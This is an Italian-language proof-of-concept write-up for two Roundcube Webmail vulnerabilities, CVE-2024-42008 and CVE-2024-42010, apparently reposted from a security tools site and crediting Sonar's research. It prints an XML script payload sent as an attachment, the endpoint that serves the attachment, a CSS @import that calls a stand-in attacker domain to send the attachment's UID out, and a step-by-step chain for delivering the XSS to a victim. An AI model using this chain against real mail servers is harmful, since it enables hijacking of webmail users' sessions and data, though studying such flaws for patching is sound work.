Roundcube-CVE-2024-42008-and-CVE-2024-42010-POC

Prova di concetto: CVE-2024-42008 e CVE-2024-42010

Questa prova di concetto (PoC) dimostra lo sfruttamento di due vulnerabilità in Roundcube Webmail che consentono l'iniezione CSS e il cross-site scripting (XSS). L'attacco consiste in due fasi:

1. XSS tramite allegato XML malevolo (CVE-2024-42008)

   A causa di controlli insufficienti sul caricamento dei file, un file XML può essere inviato come allegato con codice JavaScript, ad es.

   root@kitploit:~

   <something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
   	alert(origin)
   </something:script>
   

   Questo era un problema noto, tracciato come CVE-2020-13965, e la mitigazione consisteva nel disabilitare l'opzione "Apri allegato". Ma il file può essere ancora accessibile tramite l'endpoint

   root@kitploit:~

   https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
   

   Dove UID è l'identificatore univoco per questo particolare allegato in questa particolare casella di posta (cioè INBOX).

2. Esfiltrazione HTML tramite iniezione CSS (CVE-2024-42010)

   Quando si invia un'email, è possibile iniettare il proprio file CSS, se ospitato su un dominio che inizia con a. Attraverso questo e un file server JavaScript che elabora le richieste effettuate dall'host Roundcube vulnerabile, è possibile estrarre l'UID dell'allegato XSS malevolo.

   Importa il CSS in un'email inviata con

   root@kitploit:~

   <style>
   	@import "//a.attackerdomain.com/start?"
   </style>
   

   Ospita il server JS (roundcube-css-exploit.js) che esfiltra l'UID dell'allegato malevolo

Catena di attacco

1. Ospita il server JavaScript nel tuo dominio
2. Invia un'email con un allegato XML malevolo e importa il CSS dal tuo dominio
3. La vittima apre l'email e l'UID viene esfiltrato
4. Quindi, a seconda del metodo preferito per la consegna dell'XSS, puoi inviare una seconda email con il link all'allegato o reindirizzare l'utente attraverso quel link.

Fonte: Email governative a rischio: vulnerabilità critica di Cross-Site Scripting in Roundcube Webmail (Sonar's Vulnerability Research Team)